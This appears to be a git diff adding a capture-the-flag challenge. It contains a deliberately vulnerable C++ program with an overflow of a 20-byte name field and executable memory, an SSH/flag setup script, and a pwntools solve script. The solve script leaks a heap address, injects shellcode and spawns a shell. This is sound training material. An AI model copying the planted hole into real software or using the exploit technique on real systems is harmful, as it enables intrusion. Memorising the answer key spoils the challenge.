zv*K8QHNj#29Nl5$T6`|Djdh=7=Bu!)fePuTEV^C({9hRrzS7mmMLuA8&$r0n$ZJ)d zt!PZ5kOhn6T>U@e@_TiDy1GiI9Utnce*3B5LD7#%I?%n$PPco{Lw-@GaIbS-aN!5u zDj?akFm5LdksTmMbM{5L*KWD2Vrk8rEq?G`fdObN@`ax14!8|@Z_@3|kGaOpED+%t zaRC(MHu5u-XY#MEw>b~bxTysE7rG+L04(jO0$`$;csrXS;yo>OO{tH3-Z}{sAJ;;I zBFHi2?-IVZ4ff2oNNbwqlE9C@?#hhWfihl9)pq9aY>PQ6i6%{wcB8`9zXa+9p)=m# z5c>ro7c^`}#kW}0A&gmL#bx`ym6@;73D(p9kQ^O+BuqOf=3T@aWZZdz4@iR|7~)of z3mc`bdRo)uejKxVp2Vaj+s`9UlTV1K-hd?juz>ozyaqL8{TB!tF6A|0oSX9l%H^o# zfmc7;v%BU#lQ!P5-H`ne*fPG-X7{A*zB$LTdK=(;oRW1gi3k~=!)oWeuF<8xp%Xi) zB#Ep)b7OEj^1|3zh~>7+JdqCI{t)TObf;!YWbVQLGHcK;DKsIUf@TE>pbMaT)EJ6zQxFhAtEMo>(CM zm4ydV7rzu&N;)qhna`h+2T`>R;zI8N-L5tVhK&w{9mscNn_5S;{zzM+=3_8tMt*9d zS9d&6x?`bvQre$K<|_Jgsm&O7E}%tN`95DSgg!i-96r|T9arg!Y38ri5uwq$Fz2k! zbc5eMhbM^J3!TJ*R$XoBp&IO$v!!y`F$hIsNnh5&o~e5q@>~4!4#NVRET9S|EL$u^ z{PTm^W*!V^`&y0+YL=XONpuq+=;e};x`7;4vcp2MTJ63jVZdUPF4DIjl+VmByxH`X zx>17d2&*8B-GqBjRHs9F@N% zshNJg4utq%8QLLZ5*V3+j{jy>j#K>o8tx<$U4K~?4(SdeesIXOMQqnqp#Bs+YiCE? zD;24jc|!R=v=tAGRS$N`c*fMKEwvhW%Ep#1T4JqX)wpD|WK7pCLXJB_JUJSVSq8rI zLT`)+{khHalR}C^8{u5mwO2>F(ZudHeAgDqGy)Cj69KfmH*y;Vwl z!!Xn-WeIunAwp^|HeqvhM%lBx=Xs5q0f!OPXf(mfL(%@pF=&wU=6Qc5?tKKL>%Pd zT$EWwXQ?9MY;Xw2P( zJ>F48lgdvhAR@1fn6Jg!!>)KVr!GG&UHaEqpJO^u^u4B>H5LviSy<|AY!Z5x(&6UG zpXT@p$gc!zr%qS3u6R{^jc>zlDK`U`mC@+SD9;ePkcRjWIe+t2V0kMLIcDO@6dGJb z;g*PVsmqT-^F>t6MGJTUcQrzPhn9^wu7eXZR5!Sr;I$eP+UbB2zmHeXlZzWg@pXRj zed6>Gbi7!bLjww)E{By`7&? z9&D;sQxPjnl!6u8eaF$?oI6+==-(}V73viMUUrOSoZ z>g5iuJ|)wFd*%(O>HBhakqvGx$9+sAx)vfzTm6Pu{uqfvn1T&{K@(Hnz&TX3|JG>e zc&Fl1?qKoA2DaOCr%|;ujD-*e56YeAzKlEEP>~sx-@CR?dlf6;YA{*|EB-L+0zK#;$X4bU zEV-Nx`pia^HarKfb4+0g(HV zI3PrRdYrqE8y=5exBTjqWE5fVfR2S#R&)m~KBJ$h8f4aR(4&_v^F=L-lkr?TMYLnK zZAuP~gp(R@`;?6!+Ik9XMVO~vV^)#te+uHGJpt z=_;MK?05O4DG|=dka&VsAHbOs!~BOc?Y8^1SKp#}h^@R0Rp(OU&CJ|xWMy1I$=g{8JGE~yBz0SO`lKxls|sTzQVko0 zC5dx2;ilzmk$V^8jPLze;Nh62V;@G^ChoQav|S!(2X}k-?YMS zPy*4y(qkEThPyGDgp=w5B9J8<-*y7 zz2xbl!%BR^wX(xA5+tm?1e&Yn^`%h1e4reKmJQViq$Jn4$wx#ch(UuF24!4J*>lY8 zD!7+pg>V<-WoZlAflp|rZ@xybZNB?KV9&{m3wjPq)7YiWB~|76lGlQSWvvTX!QK;o zk{@+nkJ@WP{fPYQ&*J*nIussj9Yotl6#d6?T`|%_z*mUtiNq!}RXLv@$r}G*2tB4D z`kM+&-flXkb@;ZRQxU*LuTEzgT#*;E-O3?<_lTl#bdL9>)lf3y}!fM@e`fDtBcV$OUBqgvS!;^3PP;sb0Zp zI$ugTqgDi{;w=TI15c0-K}$f7adhcB!2YGw1n_C*;S0AWnx{YA3rW<92Q@rF05xC< zhyQ`Gme7V(?P|vpC{-kNcCUvwnZXu^B!GMphavNFk|sYp7zfD_EejCS`KcR*K8Uo6 z*+{T&_Se0eM--MTH4k{gp47>Y3_b;lU|r#Inb95jEHq}wv$$QM_`hKb)r1zzIO9xa zey1IK{@}_p!;qWKA)0RRSwA)U7Y8qU77!`#q+%@jE3*60Z8 z7&afneYDYrnZB(Tx!moTtFPQnNvJ;VjGl?WU|eNp)%PZ%nD(M1oUIMJzosfym#CEt zb%d%P$(sCVYY>cy@$YL~{Anc60Fq|ECPQzVXeBbnNn)Xan24SwuJjg;uggeS^iO2| zteCc@Yz;!OyIGPl2J&IR3_{a8|yK$FNsj2lGHlle;|gx*=s%ifd;O+zibZ z=zqs`Hi7gMmU+6ass8+-C>|^I0I*s+(bMaci^lnYo`30wgAFIn9k=u(ySe63dJ396 zunz7dxVa@HflEv8i5a87Q}&3+U1%VV=X$szMZ_N6C%e2pp{GFjlN4l88BB4-J?RB_ za>c|onf4h41`zB|817FTUdc*Ld^ugTERf8ffuLT^NJ*L(AmUXdM-Y6#+@@h=Yfumb zk$wEHc7E|&47h0>W;E*FY@3BG``Zs09GbI6*-_w|B#(oWzVT>yzMxSFq3wGMrs z*fJ((O$fe#Vkv?8tQg5K!eiw8_;J=L-%B5EGw-v2d4)D1y8O*LIPko^At&g?)w|$t zwT+OE&WI2BhJtdz?DFROI_<|E-3fG%boMhZTC~>$m9T~9qj~#<95L)q+{E`1Q#g)?W%5;cf1Yj z3HOSSYw-x@TTFlbFKp)?^MKaJ{(463rEtZ-YgEtQGR__Vo4&`a9B_P|@uP!yuyl>r@LwEbeM zeyU#TGeOiI)&i^Usu0Q*_`GZ@(YElC%=ps!dqICTM2BVpvJw4s{Xg0lvtSdlPcb)Wi3J1>aas zAtPa)!9i;O?LrK9l#6H&R?q4STsnV(O_ZLL7ZYE(gz}^dz0u^`DPpF7H#Zwn=r|s5 z6<>sdREsL7c8q7V@bu4mjq^rM9{3BDTDZ3MJ9M>RvtM++pA4W*2jBJM?A*g&N3MG9 zZt3^~p#t&{eg@-NQKYFew-cke4R9F;^x@srlkx$*gLTXFxUu^4+mDiJzDps9y}DdU z`2cTG=tQjNVIz_}7}jDe9H`dqEcclBWnG(jnI%Ap2PJ3w{;N%yv1sRql7$RJ8}A}T z|4|V?{nGt@>eCH%h)Kl}iy~L-8~vuG_?E#(0CfFz12|G!pL0YqVylph;x#qYeKlq$ zPyh8LQ>5dLzY^yZ4qaaHJb_*(@d@78$O~wOsVM)`0KOywCzFMSQ}|p{yW8C^5T~})itMn$(XxNL(5KNmS+=cXjaFU9Yfb33GiLOtG%Hg+Bj!A3ipWt zFGX)f9p3c@KHwp?C^~Pu*x0tROoo=f&zuM>w!#&uxIn13GLHjtIrSpq)y(~;=WqHf z+bEaGyM15`&pds)^yb9Spx`?bfnl++Eqff-x#x{Z=MyTw$AP`U8%WLQR!5caO``Pa=M6a!Oj2g5 zNuhjEl6xsWE1;#@y)pB45Tlw+8PFsdkXV&P2~!3x*|V%yG^?@5Fi_lBd1X z91xs2CNZ;@vuu9iH=%3~fh={86Y3J%I*8KYK$9QU&Cb?_O-~Z5`W&}SG(zaGqS+f5 z+O3%=BIHuV_kj%R^~&?`Wgldf?a~k*(G1KZzO=j-N}M2!GKsq@Y8mn;g)XCmebdaT zPUIeuwh8;Io*Lg)TgOBy?;t!oJ38LP+@Uwxi$@{$?r$DVJiByFSe9E!@6V+C4@Dj> z{AwTFR-#1l5n!AhRg3!?Mg*Ag`Ewtl#C)EuCgbk6PG%4itcBt4Zw($lEWcaoDTAj2+6mM+QlqAsIOjNU$e z3%_}QmdlD>3*5lOb>|l{Xshbxb=S+2o}TgUSpqIPC?0+mTH6=r6~Tdj7tfJv&}O5p z(4UKoktW>wxeF!xll!>2Vb8k{dSdEWl>^knK{H4}1k3s%Cu*7R`%Hera2PrRlRBP$ z{XMOHEAEK_TP7WHZDMmHGyZh;PWtbtxtAE26A12)|(RujKYlXl& ze9a%3RjC36Z*}g=`?rq=(m*t=_gI8$BO=&$Mwx% zT#=2GSl4#W%(8pC?pOVuF$~B5*YZ z3Ty<=TuTIgGd!WEgR$&_2X`=m!0K`<6e6p8rr3+FZsAwtN)6qc9zmbJ_Fo)0B*l;bbs3V?(b?-+IHO6LvdRuA@|H*@bMoLTPXXgz;Fpkt zZ?Y_+sa_YmMR#k7kt}T9n%JjpH|dh^X$yMZIOwgT%d%cI0A6oH^*NUl)~-JW?w&dA zN#`#9KIIsNpeJQ7`3cND@2wuSAv^kBe@jS6lpO6j67qm&ZWq1p+`z-D;SFO5NzA@~ z>U>u4C<{U<8fwmBtcp>z+c!LOSzB)trnunMB-_(*N72=H9;4s@6e5zr|ir& zE)JglGQFDy^ED)+R3?_&Sou6DCz2i3pB$XVOo6Vrc3luA7Ka-)Fnw*!>)U4n&RFHZ zh}syOL-I4wBc+Vn(|=>(!eT#MJ2Tha=ksVWbv!D3>B?Cfn|aZ^X!e}n%BlArwy#1H zv6%Nq)-fBXU3tl9V3W{i9_LIe%oxJT2Zh~+-LXf?UhI&nEC6;w@WND(#g+SB?<(={ zl5H9!f^WQDrzp+lpOkW?Z#j$%!Q>=xp~CuVFb{ zL-BbM)aevJh86Iud%sdXqAc&1xivv*yLPmzc!xrX)v@usK&Nn0ES5me4bg+c>lV6` z72lEpby%&cKr;wOY@c6iYa5|HiQ>lh>HXQ3h* z&sZUhu`$4sKTIQ}!bv(M#?W4kQK?v`DqC9~{KzZrA_fbdI-WA z*uKP9)nECin}%Ed4Y6yrS+2gb%G=*x$2$pwI5K6NqR`Pw(D1BAm?{eXc*qhDF<63I6S2xMsy2iMW0L{GK~n*k5;Lf<&m5_{ z^6Uh3N<@Sh^e}!&8~VUgLHW!TWrzBKVY{la_Z$6mfA&BFw@9ByYS4;vIg;QA)N zZU^AX)@9moJK&T1xYbafY0sf-6`@L2XeQ=8SseYSJojv2H@n<*8IwgYA5Yc_;ul8I z&{L&RVdE-MDLb!~fTijCF5(6@kIk$1q25)cDiua9Y*xGYO=;&*lTDitR1}d1@%)=i ze?6fU>dmt|Wz`%V>fG492TY)5j(hDptekQOu?!{L{52H$S;`CUkGBWEIApTBi|hsT z*b5C8l!_NhU75sxWoi}ICLpi~hJLrMg)VNY(mrt)z_lhBYa1;hR%fZPR2gy!#ofx7 zDTjvFWq$BFUMW5hvs-FfrU*Xge}13FEl%UbUTsKQEs~;J_mx6gcp^XRGq$gGgNa=} z_XB-t8@Z|7Jr<}Z2OAE<(BeQGuu&b5f?syUPP8+8-D8{UOaEiTKy1+gGonXVO>%UM z%PV=$%y`(#@MER4kIu$)R@c~`B1QGsNq8?_-3|4`D9K)Xk4`L6ddNDWd0KT$CZCC# zCzK9_GcvJLNRjdZx4S*^t99s*2S$KzM5ldeVthlAoS;b*mZ1($p5t=sc*sZa7kBo+ zj}5-mKY`SrYMW`Zlr~ZNXV(nKHjs~{Dei4?e#O*f&IWNL(h3#8F{3vZvgEMT=|%+}=S`$3W40ss zbsfY|KPr5kP#k`-PY~D?BitJdI(pfI32hm5`R0z)Nq{({P~OTg602z4z(=WvvQDOb zi2eKJ3Zs8S@_v;r;5PYze;8^p<;^^CVXpY`w{vejHhg?}Ggmg{%Z>ssewyAGs)(L@ zh@HxBO`mMqb?d~tdyVILVD6TYhFSPX+Qnhpw@2qgpHlc3u}(S7Or^%f2gRoXjMrKT zkOKsZ8pf;Z1EW0O&WZ2O;^+4t>b{o3J)F|%o~sJ;STydzHW#Dpvt{m0D3rCb;})6U zI|Ff)Q>?YWOXSYHyvypTWea+~RiEmU%yoaMfVjm+>|prorC8grs_xmKtJr}M#7lo* zLGM#|OW+>W8FaZv+B@&I5WI8i!9F4^KV&tZN(8SV74I|E9^he&#g{Xwf9@p<|2W&! z_N2sg*%RM2Y6Q836K9>3*Huau{DJ)J!C)ypK!_>^hzQA?f0wMQQ9Y0^k;o-v_$kF& zGkmr#Q29KGD@aeJd8a!+0ZxT`jHhh4v^KRbAzmv!3CZesH!m3&pCCvTpU#{bdP)?1 zJ|ke41peP=eB4Dc+CBp40v z3*tS~&>=!T)M+PBk9lHZ)e-{9YjI_hniuAfWGToR<(9)<4kx}EFoq&JMK$VK5Boir zoE{Su+P7BSx!OhV1xSq(;c-SYrX>AFE?BGvOViMbF9Gsc+o;}_yO^emxy*hA7p$-Es)62k+vzWG>F2AvOB(RK6r1O}l z4}q9#ZAbM=Jl!&xM{ByEG2MusM@YQw4?gjV7Pp;Vw^3iX zN3N^}QUt-DS|Cn{$7}LDXG#CZ^V`*di6DYQB{bFHb!Co2~xy_FcLDDUVTO%flVF&R07*FEECY_T0y`?7KCn zL@PrFy={xnkfNn{ROJmeXBFmidfcLcirn~~^@ZJl-pA`Ov88VeG z9vh&?Q{M-330KFSWR06&{LBx+0vV?&x&?gTlq;_8B6a0qZ?L0e@40ym)kgMU`bvN& z>nR=9Q(%DF-hR)pwtYGv39nlaTAT6ivBa?_e@EcUbcq(>|BOqiRIe7d64#0DU~k8Dh&Iv8%jc8K@xT|qctHj|d~ zN_|Xcl#CDyY^eyuW?NCdYIH5CF3AMt5t8862U7?qS%(X&Yz&vhukvdsq7uEpseP&s zo&1XSF@rmAB-d4(w9VdA2wu%bySQvfN=cBy?iaL|OqUgspRB~rRBqZnI9-qbf#mzE zb9#Z80zN0bEqyY4j!|KR<^ z2O*(JNJ9AvpGasQ4tZCO6kBI|3?(?7l4qjg$p%~M=?VibSKI|3tr`IZG$KJ^B#4g6MB==Wjy<#H_oFvQWtgtuAaY0eE z0NB;LeeUU2x7fbrTvVrRz1lrr)g^ZXGsj(lERi{hNlAMoXjRKwT(}KX4cp#s+auH7 z$6{n@Ox38XBYihbe?|(HBCmr8EB-(OrSU>;7LcZzXbF~t7w!wX2-cjIg_e!KCLT_T z2e~xN0a>HruVpon9api|f<;U|^YF|!e`{|_88R9$u1%)a7T0sj<9y)}KvIgi;L(L+-q3MLB(OLh9O`BYERLNuZrDI8T z57h;M+!zXK~;_qQb{c8ymF zkv;>{Hf#JrpC7o?l#q~Vfd4> /etc/ssh/sshd_config + +grep -q "^PasswordAuthentication" /etc/ssh/sshd_config && \ + sed -i "s/^PasswordAuthentication.*/PasswordAuthentication yes/" /etc/ssh/sshd_config || \ + echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config + +echo "AllowUsers ctf" >> /etc/ssh/sshd_config + +/usr/sbin/sshd + +if [ -n "$FLAG" ]; then + echo "$FLAG" > /flag.txt + chmod 644 /flag.txt + chown root:root /flag.txt +fi + +exec su -c "cd /home/ctf/chall && ./run.sh" -s /bin/bash ctf \ No newline at end of file diff --git a/services/carbeat/exploit/solve.py b/services/carbeat/exploit/solve.py new file mode 100644 index 0000000..fa538e5 --- /dev/null +++ b/services/carbeat/exploit/solve.py @@ -0,0 +1,81 @@ +from pwn import * +context.terminal = "tmux splitw -h".split() +context.binary = elf = ELF('chall/mybini') + +#p = gdb.debug(elf.path, ''' +#set max-visualize-chunk-size 0x500 +#b * _ZN7MyKisah3addEPc+110 +#c +#''') +#p = elf.process() +#gdb.attach(p) +p = remote('localhost', 14000) + +def register(name, level): + p.sendlineafter(b'> ', b'1') + p.sendlineafter(b': ', name) + p.sendlineafter(b': ', str(level).encode()) + +def login(name): + p.sendlineafter(b'> ', b'2') + p.sendlineafter(b': ', name) + +def logout(): + p.sendlineafter(b'> ', b'4') + +def add(data): + p.sendlineafter(b'> ', b'1') + p.sendlineafter(b': ', data) + +def edit(name): + p.sendlineafter(b'> ', b'0') + p.sendlineafter(b': ', name) + +def delete(idx): + p.sendlineafter(b'> ', b'3') + p.sendlineafter(b': ', str(idx).encode()) + +register(b'user0', 0xdeadbeef) +register(b'user1', 0xdeadbeef) +register(b'user2', 0xdeadbeef) + +login(b'user2') +for i in range(8): add(b'a') + +read = shellcraft.read(0, 'rdx', 0x100) +add(asm(read)) +logout() + +register(b'user3', 0xdeadbeef) +register(b'user4', 0xdeadbeef) +register(b'user5', 0xdeadbeef) +register(b'x' * 0x10, 0xdeadbeef) +register(b'user7', 0xdeadbeef) + +login(b'user5') +for i in range(4): add(b'a') + +edit(b'z' * 0x18) +add(b'\0') +logout() + +p.sendlineafter(b'> ', b'3') +p.recvuntil(b'x' * 0x10) + +heap = unpack(p.recvuntil(b' adalah', drop=True),'all') +log.info(f"{hex(heap) = }") + +login(b'z'*0x18) +delete(0) + +add(b'a' * 8 + p64(heap-0x130)) +delete(0) + +logout() +login(b'x'*0x10) + +add(p64(heap-0x1f8)) +sleep(1) +p.send(b'a' * 0xd + asm(shellcraft.sh())) + +p.interactive() \ No newline at end of file diff --git a/services/carbeat/mybini.cpp b/services/carbeat/mybini.cpp new file mode 100644 index 0000000..94ca282 --- /dev/null +++ b/services/carbeat/mybini.cpp @@ -0,0 +1,227 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +struct Bini { + Bini *next = nullptr; + char *curr = nullptr; + Bini() {} + Bini(char *my) { + curr = my; + } +}; + +class MyKisah { + +private: + Bini *free = nullptr; + Bini *used = nullptr; + char *kisah; + +public: + MyKisah() { + kisah = (char*)mmap(nullptr, 0x120, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + for (int i = 0; i < 0x120; i += 0x20) { + Bini *tmp = free; + free = new Bini(kisah + i); + free->next = tmp; + } + } + + int add(char *bini) { + if (!free) return -1; + Bini *tmp = used; + used = free; + free = free->next; + used->next = tmp; + strncpy(used->curr, bini, 0x20); + return 0; + } + + int del(unsigned int id) { + if (!used) return -1; + if (!id) { + Bini *tmp = free; + free = used; + used = used->next; + free->next = tmp; + return 0; + } + Bini *cur = used; + for (int i = 0; i < (int)id - 1; ++i) { + if (!cur) return -1; + cur = cur->next; + } + if (!cur || !cur->next) return -1; + Bini *tmp = free; + free = cur->next; + cur->next = cur->next->next; + free->next = tmp; + return 0; + } + + void view(int id) { + Bini *cur = used; + for (int i = 0; i < id; ++i) { + if (!cur) { + std::cout << "no bini\n"; + return; + } + cur = cur->next; + } + if (!cur) { + std::cout << "no bini\n"; + return; + } + std::cout << cur->curr << '\n'; + } + +}; + +class Karbit { + protected: + size_t karbit_level; + public: + char karbit[20]; + Karbit() { + std::cout << "nama: "; + std::cin.ignore(); + std::cin.getline(karbit, 0x20); + std::cout << "level karbit (0-100): "; + std::cin >> karbit_level; + } + void info(){ + std::cout << karbit << " adalah "<< std::min(karbit_level, (size_t)100) << "%" << " karbit\n"; + } + virtual void mybini() = 0; +}; + +class User: public Karbit { + + private: + MyKisah my; + public: + User(){} + void mybini() { + std::cout << "0. edit karbit\n1. add bini\n2. view bini\n3. delete bini\n4. logout\n"; + } + + void edit_karbit(){ + std::cout << "karbit old: " << karbit << '\n'; + std::cout << "karbit new: "; + std::cin.ignore(); + std::cin.getline(karbit, 0x20); + } + + void add_bini(){ + char bini[0x20]; + std::cout << "nama bini: "; + std::cin.ignore(); + std::cin.getline(bini, 0x20); + if (my.add(bini) == -1) { + std::cout << "gagal menambah bini\n"; + return; + } + } + + void view_bini(){ + unsigned int idx; + std::cout << "index bini: "; + std::cin >> idx; + my.view(idx); + } + + void delete_bini(){ + unsigned int idx; + std::cout << "index bini: "; + std::cin >> idx; + if (my.del(idx) == -1) { + std::cout << "gagal menghapus bini\n"; + return; + } + } +}; + +std::vector users; +int selected_user = -1; + +int main(){ + int c; + + for (;;){ + if (selected_user == -1) { + std::cout << "1. register" << std::endl; + std::cout << "2. login" << std::endl; + std::cout << "3. list karbit" << std::endl; + std::cout << "> "; + std::cin >> c; + + switch (c) { + case 1: + users.push_back(User{}); + break; + case 2: + { + std::string name; + std::cout << "nama: "; + std::cin >> name; + for (int i = 0; i < (int)users.size(); i++){ + if (users[i].karbit == name) { + selected_user = i; + break; + } + } + + if (selected_user == -1) { + std::cout << "karbit tidak ditemukan" << std::endl; + } + } + break; + case 3: + for (auto& user : users) user.info(); + break; + default: + std::cout << "invalid option" << std::endl; + } + } else { + users[selected_user].mybini(); + std::cout << "> "; + std::cin >> c; + + switch (c) { + case 0: + users[selected_user].edit_karbit(); + break; + case 1: + users[selected_user].add_bini(); + break; + case 2: + users[selected_user].view_bini(); + break; + case 3: + users[selected_user].delete_bini(); + break; + case 4: + selected_user = -1; + break; + default: + std::cout << "invalid option" << std::endl; + break; + } + } + } + + return 0; +} + + +void init() { + setbuf(stdin, nullptr); + setbuf(stdout, nullptr); + setbuf(stderr, nullptr); +} \ No newline at end of file